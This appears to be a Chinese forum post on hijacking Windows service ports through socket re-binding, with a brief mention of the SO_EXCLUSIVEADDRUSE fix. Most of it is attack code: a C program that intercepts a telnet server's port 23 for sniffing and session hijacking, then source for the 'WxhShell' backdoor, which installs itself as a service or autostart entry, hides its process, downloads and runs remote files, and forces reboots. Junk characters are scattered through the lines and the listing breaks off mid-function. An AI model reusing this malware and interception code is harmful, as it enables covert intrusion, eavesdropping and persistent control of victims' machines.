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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /IR#A%U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fbC~WV#  
Bo r7]#  
  saddr.sin_family = AF_INET; #?&0D>E?k  
QCpM|,drS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aB"xqh)a}T  
6D/'`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C1QV[bJK  
l,d, T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7=k^M, a  
L"vj0@n'0  
  这意味着什么?意味着可以进行如下的攻击: T*CME]  
#C*&R>IvY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v0@)t&O  
m 22wF>9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Acu@[ I^  
5=Lq=,K$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9%!dNnUk  
js <Ww$zFW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M"wue*&  
;dQAV\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8_Z/o5s  
)`?%]D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zY%. Rq-  
D7Zm2Kj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `fS^ j-_M  
dGkg aC+  
  #include ~<r i97)  
  #include ]J@/p:S>  
  #include x-_vl 9P)  
  #include    *%A}x   
  DWORD WINAPI ClientThread(LPVOID lpParam);   91d }, Mq:  
  int main() I>"Ci(N  
  { jv&+<j`r  
  WORD wVersionRequested; +jV_Wz  
  DWORD ret; )2.)3w1_4  
  WSADATA wsaData; g>0vm2|  
  BOOL val; R$6qoqv{yG  
  SOCKADDR_IN saddr; FFzH!=7T?  
  SOCKADDR_IN scaddr; rVzI_zYqp'  
  int err; E%3TP_B3  
  SOCKET s; >i~^TY-&  
  SOCKET sc; 5w<A;f  
  int caddsize; U Cb02h  
  HANDLE mt; p^X^1X7  
  DWORD tid;   AHd-  
  wVersionRequested = MAKEWORD( 2, 2 ); Tr.hmGU  
  err = WSAStartup( wVersionRequested, &wsaData ); rt!r2dq"  
  if ( err != 0 ) { l(:kfR~AC  
  printf("error!WSAStartup failed!\n"); ]QrR1Rg  
  return -1; ]gP5f@`  
  } VKuAO$s$  
  saddr.sin_family = AF_INET; _\zQ"y|G  
   S; /. %  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o`?zF+M0  
W{Z^n(f4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Iti0qnBN5  
  saddr.sin_port = htons(23); nhH;?D3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BIMKsF Zt  
  { S`= WF^  
  printf("error!socket failed!\n"); q7Es$zjX  
  return -1; oF|N O^H  
  } p>kq+mP2bc  
  val = TRUE; 4Z5#F]OA7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ix8$njp[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ht6244:  
  { %SA!p;  
  printf("error!setsockopt failed!\n"); YpmYxd^  
  return -1; kiUk4&1  
  } HW[L [&/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !Q %P%P<$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bcz-$?]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 97`WMs  
82:Wvp6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :b /J\  
  { ZFxLBb:  
  ret=GetLastError(); S4A q'  
  printf("error!bind failed!\n"); MXZ>"G  
  return -1; ,+1m`9}  
  } <~"lie1  
  listen(s,2); 8]"(!i_;)  
  while(1) l-)B ivoi  
  { Fx#jV\''s  
  caddsize = sizeof(scaddr); $g\&5sstE  
  //接受连接请求 )D@~|j:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wpo1  
  if(sc!=INVALID_SOCKET) \caH pof  
  { r o\1]`6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uzU{z;  
  if(mt==NULL) 0^l%j8/  
  { ;_"U "?h_J  
  printf("Thread Creat Failed!\n"); *yaw$oB  
  break; %J7UP4  
  } \:_3i\2p  
  } f~h~5  
  CloseHandle(mt); (K{5fC  
  } h5~n 1qX  
  closesocket(s); vNDu9ovs-  
  WSACleanup(); P~ 0Jg# V  
  return 0; x\\7G^$<h  
  }   ([E]_Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) m5c&&v6%"b  
  { {^ec(EsO#  
  SOCKET ss = (SOCKET)lpParam; {})$ 99"x  
  SOCKET sc; "IjI'c  
  unsigned char buf[4096]; mOBACTY^  
  SOCKADDR_IN saddr; 5J.0&Dda  
  long num; *I*i>==Z  
  DWORD val; :nJgwp()@  
  DWORD ret; '\7G@g?UZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 smy}3k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Oe!6){OG)  
  saddr.sin_family = AF_INET; grom\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IApT'QNM  
  saddr.sin_port = htons(23); ^ 4>k%d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ib`-pRU;  
  { 1y"3  
  printf("error!socket failed!\n"); 2& LQg=O  
  return -1; On_@HQ/FI  
  } D]03eu  
  val = 100; DtxE@,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1 Y/$,Oa5  
  { t;q7t!sC]  
  ret = GetLastError(); fw-\|fP  
  return -1; zc+@lJy  
  } </~ 6f(mg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F2I 5q C/  
  { 3'I^lc  
  ret = GetLastError(); lFG9=Wf  
  return -1; 7(k^a)~PL  
  } %5'6Tj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RrV>r<Z"Q  
  { DC4C$AyW r  
  printf("error!socket connect failed!\n"); 7'p8 a<x  
  closesocket(sc); hvV_xD8|  
  closesocket(ss); tD=@SX'Y  
  return -1; #J\rv'  
  } ]7GlO9  
  while(1) p.JXS n  
  { B;#J"6w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ).412I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P }7zE3V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y0bq;(~X~  
  num = recv(ss,buf,4096,0); _k66Mkd#b  
  if(num>0) 2a=sm1?  
  send(sc,buf,num,0); o+O}Te  
  else if(num==0) m]Y;c_DO:  
  break;  Gs0H@  
  num = recv(sc,buf,4096,0); h)(* q+a  
  if(num>0) P.\nLE J=  
  send(ss,buf,num,0); @'FE2^~Jj  
  else if(num==0) Jl<ns,Zg  
  break; f'En#-?O  
  } 0DPxW8Y-`  
  closesocket(ss); ,I.WX,OR  
  closesocket(sc); ,?cH"@ RJ  
  return 0 ; 7N8H)X  
  } w|Cx>8P8@  
<v 0*]NiX  
cDEJk?3+  
========================================================== 77 r(*.O|  
R3.*dqo$  
下边附上一个代码,,WXhSHELL ^_+XDO  
"h"NW[R  
========================================================== <X7\z  
AI ijCL  
#include "stdafx.h" U Z_'><++  
%D}H|*IPu  
#include <stdio.h> _RkuBOv@e  
#include <string.h> yl&UM qI(  
#include <windows.h> xG2+(f#C1  
#include <winsock2.h> K{fsn4rk  
#include <winsvc.h> !BIOY!M  
#include <urlmon.h> VaONd0Z I  
9nSWE W  
#pragma comment (lib, "Ws2_32.lib") bO5k6i  
#pragma comment (lib, "urlmon.lib") d4?d4;{  
@Yw,nQE)b  
#define MAX_USER   100 // 最大客户端连接数 N 5zlT  
#define BUF_SOCK   200 // sock buffer GwU?wIIj^  
#define KEY_BUFF   255 // 输入 buffer arK_oh0B  
2.e vx  
#define REBOOT     0   // 重启 &[mZD,  
#define SHUTDOWN   1   // 关机 } R4c  
6.1)IQkO  
#define DEF_PORT   5000 // 监听端口 q% >'4_  
>g ll-&;t  
#define REG_LEN     16   // 注册表键长度 R<ND=[}s  
#define SVC_LEN     80   // NT服务名长度 WG71k8af  
`6Qdfmk=  
// 从dll定义API sZgRt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FyoEQ%.bI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -f1k0QwL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m#/_x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vl E z9/H  
[%A4]QzWh  
// wxhshell配置信息 Flxvhl)L  
struct WSCFG { /Dt d#OAdr  
  int ws_port;         // 监听端口 zLw{ {|  
  char ws_passstr[REG_LEN]; // 口令 zh I#f0c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ikBYd }5  
  char ws_regname[REG_LEN]; // 注册表键名 Uggw-sRU  
  char ws_svcname[REG_LEN]; // 服务名 YZ$ZcfXDW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &hIRd,1#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tirIgZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z=5qX2fy1*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FXdD4X)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9Mp$8-=>7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qB]i6*  
?rX]x8iP  
}; 6(|d|Si *c  
 6Si-u  
// default Wxhshell configuration DciwQcG  
struct WSCFG wscfg={DEF_PORT, =VLS/\A  
    "xuhuanlingzhe", x3ERCqTR  
    1, m9}AG Rj  
    "Wxhshell", _/*U2.xS  
    "Wxhshell", :1q 4"tv|  
            "WxhShell Service", B\*@krI@  
    "Wrsky Windows CmdShell Service", _lKZmhi  
    "Please Input Your Password: ", 1{Mcs%W;w5  
  1,  }}<Z,/O  
  "http://www.wrsky.com/wxhshell.exe", )QagS.L{z  
  "Wxhshell.exe" Si 9Z>MR  
    }; H=g.34  
<mMTD8Sx]  
// 消息定义模块 `cQo0{xK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l%z<(L5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; juF{}J2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RC|!+ TD  
char *msg_ws_ext="\n\rExit."; ZD#9&q'4<  
char *msg_ws_end="\n\rQuit."; 8n BL\{'B[  
char *msg_ws_boot="\n\rReboot..."; 7?gFy-  
char *msg_ws_poff="\n\rShutdown..."; MF3b{|Z  
char *msg_ws_down="\n\rSave to "; X2mREt9  
[OTJVpC  
char *msg_ws_err="\n\rErr!"; [+ *$\  
char *msg_ws_ok="\n\rOK!"; <WXzh5D2  
"jecsqCgK0  
char ExeFile[MAX_PATH]; !|q<E0@w\  
int nUser = 0; F["wD O  
HANDLE handles[MAX_USER]; %B 5r"=oO  
int OsIsNt; qrvsjYi*w  
-5>-%13  
SERVICE_STATUS       serviceStatus; GT hL/M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n 26Y]7N  
_ ~RpGX  
// 函数声明 O<)y-nx;X  
int Install(void); 9jp:k><\(c  
int Uninstall(void); ^[Ua46/"m  
int DownloadFile(char *sURL, SOCKET wsh); @''GPL@  
int Boot(int flag); 5WqXo{S  
void HideProc(void); Glq85S  
int GetOsVer(void); &bqT /H18  
int Wxhshell(SOCKET wsl); 2>-S-;i  
void TalkWithClient(void *cs); $wYtyN[  
int CmdShell(SOCKET sock); ~A<H9Bw  
int StartFromService(void); O9'x -A%  
int StartWxhshell(LPSTR lpCmdLine); o]{uc,  
hqk}akXt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $qF0ltUQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7f<EoSK  
-IlJ^Al4  
// 数据结构和表定义 "'^4*o9  
SERVICE_TABLE_ENTRY DispatchTable[] = kVI#(uO  
{ n\I#CH0V  
{wscfg.ws_svcname, NTServiceMain}, 7@.cOB`y@3  
{NULL, NULL} zJ+8FWy:S  
}; H4OhIxK  
SxyONp.$\  
// 自我安装 nFX_+4V2  
int Install(void) ]maYUKqv}'  
{ &`Y!;@K9W#  
  char svExeFile[MAX_PATH]; o }Tz"bN  
  HKEY key; H7+X&#s%  
  strcpy(svExeFile,ExeFile); ?::NO Dg  
'B83m#HR#  
// 如果是win9x系统,修改注册表设为自启动 /$n ~lf  
if(!OsIsNt) { 9p$V)qdX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,1q_pep~?%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e@@?AB$n(  
  RegCloseKey(key); x?x`oirh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o01kYBD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); at!Y3VywG  
  RegCloseKey(key); }],Z;:  
  return 0; RjJU4q  
    } &"_u}I&\  
  } MyJ4><oG  
} $&|y<Y=  
else { 0s#vwK13  
@=w<B4 L  
// 如果是NT以上系统,安装为系统服务 -Z4{;I[Q@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 53QfTP  
if (schSCManager!=0) }14 {2=!Q  
{ rA0,`}8\  
  SC_HANDLE schService = CreateService r8xyd"Axy  
  ( C0.'_  
  schSCManager, zJa)*N  
  wscfg.ws_svcname, %zC[KE*~  
  wscfg.ws_svcdisp, ?%R w(E  
  SERVICE_ALL_ACCESS, @RD+xYm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &m3.h!dq  
  SERVICE_AUTO_START, 89{HJ9}  
  SERVICE_ERROR_NORMAL, Mv|ykJoz"  
  svExeFile, Bhp OXqg  
  NULL, ^/wfXm  
  NULL, ,~ ?'Ef80  
  NULL, u{&B^s)k.  
  NULL, d "BW/%m|g  
  NULL nU+tM~C%a  
  ); 4!$ M q;U  
  if (schService!=0) (VyNvB  
  { J MX6yV  
  CloseServiceHandle(schService); LW#M@  
  CloseServiceHandle(schSCManager); :&}odx!-!C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W]<$0  
  strcat(svExeFile,wscfg.ws_svcname); #Z=tJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nGZX7Fx5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZZ/cq:3$P  
  RegCloseKey(key); >-T`0wI  
  return 0; ,O=a*%0rt  
    } I4H`YOD%  
  } y;" n9  
  CloseServiceHandle(schSCManager); C`oa3B,z  
} _\5~>g_  
} VeiElU3  
ydl jw  
return 1; (A k\Lm  
} Ue5O9;y]u  
(lA.3 4.p  
// 自我卸载 qOCJTOg7  
int Uninstall(void) &0N<ofYX  
{ >Dm8m[76  
  HKEY key; 7&}P{<}o^  
V BoMT:#  
if(!OsIsNt) { :L?_Y/K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CF y}r(q  
  RegDeleteValue(key,wscfg.ws_regname); n_[i0x7#  
  RegCloseKey(key); ]*"s\ix  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2)iD4G`  
  RegDeleteValue(key,wscfg.ws_regname); \jW)Xy  
  RegCloseKey(key); ]rd/;kg.S  
  return 0; l1_X(Z._V  
  } H{ M)-  
} L6:h.1 U$  
} noVa=aU^  
else { !jX4`/n2  
U0B2WmT~Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C.a5RF0  
if (schSCManager!=0) Gu(lI ~  
{ hP?fMW$V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'E;W  
  if (schService!=0) ,#u\l>&$  
  { my^ak*N  
  if(DeleteService(schService)!=0) { qV1O-^&[f=  
  CloseServiceHandle(schService); Os),;W0w4  
  CloseServiceHandle(schSCManager); @_'OyRd8  
  return 0; JV"NZvjN7d  
  } I8m:3fL"  
  CloseServiceHandle(schService); #mc!Wt 10  
  } *DeTqO65  
  CloseServiceHandle(schSCManager); 1IH[g*f  
} =iz,S:[  
} w*LbH]l<-  
% +Pl+`? E  
return 1; 0A$SYF$O+[  
} Rc$h{0K8  
e=f.y<  
// 从指定url下载文件 i s"vekC  
int DownloadFile(char *sURL, SOCKET wsh) eMMx8E)B  
{ E:A!wS`"  
  HRESULT hr; H3FW52pjX  
char seps[]= "/"; /lD?VE  
char *token; : iCM=k  
char *file; &~~s6   
char myURL[MAX_PATH]; f@z*3I;  
char myFILE[MAX_PATH]; ziL^M"~2  
xxX/y2\  
strcpy(myURL,sURL); L'kq>1QWf  
  token=strtok(myURL,seps); hY8#b)l~lu  
  while(token!=NULL) r'aY2n^O  
  { pG yRX_;  
    file=token; (O5)wej   
  token=strtok(NULL,seps); H~9=&p[Q  
  } F-0UdV  
%xg"Q |  
GetCurrentDirectory(MAX_PATH,myFILE); 'Ji+c  
strcat(myFILE, "\\"); /8eW@IO.F  
strcat(myFILE, file); 'V!kL, 9ES  
  send(wsh,myFILE,strlen(myFILE),0); bEpMaBN  
send(wsh,"...",3,0); gg]~2f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U</+.$b  
  if(hr==S_OK) pCt}66k}  
return 0; K5flit4-  
else 1L[S*X  
return 1; km>o7V&4G  
S<oQ}+4[~  
} j[DIz@^  
vjTwv+B"  
// 系统电源模块 :XS"# ^aJ  
int Boot(int flag) ,P@QxnQ   
{ Zoow*`b|$U  
  HANDLE hToken; oh&Y< d0  
  TOKEN_PRIVILEGES tkp; 8XbR  
F0;1zw  
  if(OsIsNt) { % 0v*n8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FmA-OqEpA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ay[+2"  
    tkp.PrivilegeCount = 1; |h,FUj<r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T Nci.']  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T46{*(  
if(flag==REBOOT) { Y'_ D<Mp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MVAc8dS  
  return 0; dofR)"<p,^  
} z(UX't (q  
else { r}@< K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LW?2}`+  
  return 0; tJ>d4A;8x  
} M9g1d7%  
  } we a\8[U3"  
  else { SRk7gfP*q  
if(flag==REBOOT) { B}5XRgq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M=Is9)y  
  return 0; }2xb&6g~o  
} 2V<# Y  
else { K!b>TICa:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SD I,M  
  return 0; nK:`e9ES  
} -AeHY'T  
} "2K|#,%N  
|Kn^w4mN  
return 1; -(  ER4#  
} =z%s8D2  
Ko}7$2^  
// win9x进程隐藏模块 JgZdS-~  
void HideProc(void) Ua!Odju*w  
{ 6KBHRt  
'Sk6U]E~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,XP@ pi  
  if ( hKernel != NULL ) KK MWD\  
  { otZ JY)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `}n0=E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @) ]t8(  
    FreeLibrary(hKernel); ";58B} ki  
  } \!6t  
.;}pU!S~R  
return; 6q!7i%fK?  
} 5vl2yN  
yl|R:/2V  
// 获取操作系统版本  K oL%}u&  
int GetOsVer(void) ol1AD: Ho  
{ 34^Q5B~^J  
  OSVERSIONINFO winfo; $jDD0<F.#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ec,z6v^9  
  GetVersionEx(&winfo); fG^7@J w:G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]*;RHy9  
  return 1; @)8NI[=6O  
  else *GB$sXF  
  return 0; 9 ?[4i'  
} HX z iDnj  
Z7ZWf'o  
// 客户端句柄模块 | H5Ync[s  
int Wxhshell(SOCKET wsl) agGgJ@  
{ ',<{X (#(  
  SOCKET wsh; XWJ0=t&}  
  struct sockaddr_in client; t/_\U =i$  
  DWORD myID; 30:HRF(:  
GWVEIZ  
  while(nUser<MAX_USER) 9Vh_XBgP  
{ 7UY('Q[  
  int nSize=sizeof(client); * , |)~$=>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;g!xQvcR  
  if(wsh==INVALID_SOCKET) return 1;  ||bA  
V/+H_=|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Or]5ogT'  
if(handles[nUser]==0) @D( KuF  
  closesocket(wsh); 9} IVNZc  
else ;w>Q{z  
  nUser++; n/,rn>k7:  
  } + ;{rU&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3g4vpKg6c  
U<#$w{d:  
  return 0; Ta!m%=8  
} x`b~ZSNJ%  
G*kXWEx  
// 关闭 socket Lcm~QF7cd  
void CloseIt(SOCKET wsh) _oYA;O  
{ T= iZ9w  
closesocket(wsh); hvwnG>m\  
nUser--; 5+#?7J1  
ExitThread(0); 8tG/VE[  
} D~t"9Z\  
T/X?ZK(T  
// 客户端请求句柄 98<bF{#0WM  
void TalkWithClient(void *cs) Y:#kel<  
{ N P0Hgd  
'2i)#~YO<  
  SOCKET wsh=(SOCKET)cs; l=<F1Lz  
  char pwd[SVC_LEN]; g6k&c"%IQ(  
  char cmd[KEY_BUFF]; Es ZnGuY  
char chr[1]; 8=u+BDG  
int i,j; K%.YNVHHC  
4N0W& Dy  
  while (nUser < MAX_USER) { f"OA Zji  
o 0cc+  
if(wscfg.ws_passstr) { #E~WVTO w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e-duZ o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LbmB([p  
  //ZeroMemory(pwd,KEY_BUFF); g}s-v?+  
      i=0; 0ga1Yr]  
  while(i<SVC_LEN) { 8=zM~v)   
aZ`_W|  
  // 设置超时 9^[5!SMzCj  
  fd_set FdRead;  6@Z'fT4  
  struct timeval TimeOut; 1Ag;s  
  FD_ZERO(&FdRead); wshp{ y  
  FD_SET(wsh,&FdRead); ;JD3tM<  
  TimeOut.tv_sec=8; X6"^:)&1M  
  TimeOut.tv_usec=0; f 7QUZb\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6pdl,5[x-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .]sIoB-54  
O%Gsk'mo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^5'/ }iR2N  
  pwd=chr[0]; *~lgU4  
  if(chr[0]==0xd || chr[0]==0xa) { >Qbc(}w  
  pwd=0; SpTORR8  
  break; _XO)`D~  
  } "!_ 4%z-  
  i++; l1|,Lr  
    } y:6'&`L  
{ALBmSapK"  
  // 如果是非法用户,关闭 socket gp&& c,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j7HlvoZV  
} pQ-^T.'  
3K20f8g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #* /W!UOu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wj{Rp{}3  
2;(iTPz +  
while(1) { ,5+X%~'  
~FCSq:_  
  ZeroMemory(cmd,KEY_BUFF); Y" +1,?yH  
mP .&fS  
      // 自动支持客户端 telnet标准   IWRq:Gw  
  j=0; SUi1*S  
  while(j<KEY_BUFF) { (>5VS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Z1Do^  
  cmd[j]=chr[0]; !m:PBl5  
  if(chr[0]==0xa || chr[0]==0xd) { SoGLsO+R  
  cmd[j]=0; }GNH)-AG)$  
  break; ci NTYow  
  } A =[f>8  
  j++; 4Z p5o`*g2  
    } P;o>~Y>x  
LY cSMuJ  
  // 下载文件 e2o9)=y  
  if(strstr(cmd,"http://")) { ?UhAjtYIS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f(MHU   
  if(DownloadFile(cmd,wsh)) *]| JX&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DC2ci >  
  else j%y+W{Q[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tvw2py q  
  } wQuaB6E  
  else { SR8Kzk{  
ao5yW;^y  
    switch(cmd[0]) { WHavz0knf[  
  1Kf t?g  
  // 帮助 $>s@T(  
  case '?': { PL_wa(}y]D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `*9FKs  
    break; Gz5@1CF  
  } kJpHhAn4  
  // 安装 QAnfxt6  
  case 'i': { Z5a@fWU  
    if(Install()) 92_H!m/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+ ~2q=  
    else x(N} ^Hu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 959jp85  
    break; g)6 k?Y  
    } ]H'82a  
  // 卸载 E1w XG  
  case 'r': { cDyC&}:f  
    if(Uninstall()) VOOThdR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=Y~Ir+  
    else  #X_M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8_$2aqr  
    break; k6XmBBIj-  
    } ]-L E'Px|  
  // 显示 wxhshell 所在路径 e1}0f8%  
  case 'p': { n:)Y'52}  
    char svExeFile[MAX_PATH]; F>R)~;Ja  
    strcpy(svExeFile,"\n\r"); &c ~)z\$  
      strcat(svExeFile,ExeFile); <"%h1{V  
        send(wsh,svExeFile,strlen(svExeFile),0); , .F+x}  
    break; *heQ@ww  
    } (W/UR9x)|d  
  // 重启 M<pgaB0  
  case 'b': { p}X87Zq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~,7R*71  
    if(Boot(REBOOT)) }}R!Y)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..mz!:Zs0  
    else { tJ=zk3BN~  
    closesocket(wsh); SVz.d/3Y  
    ExitThread(0); +c_CYkHJ/  
    } $>m<+nai'  
    break; a8c]B/  
    } '2oBi6|X  
  // 关机 6E4L4Vb  
  case 'd': { 2@rc&Tx  
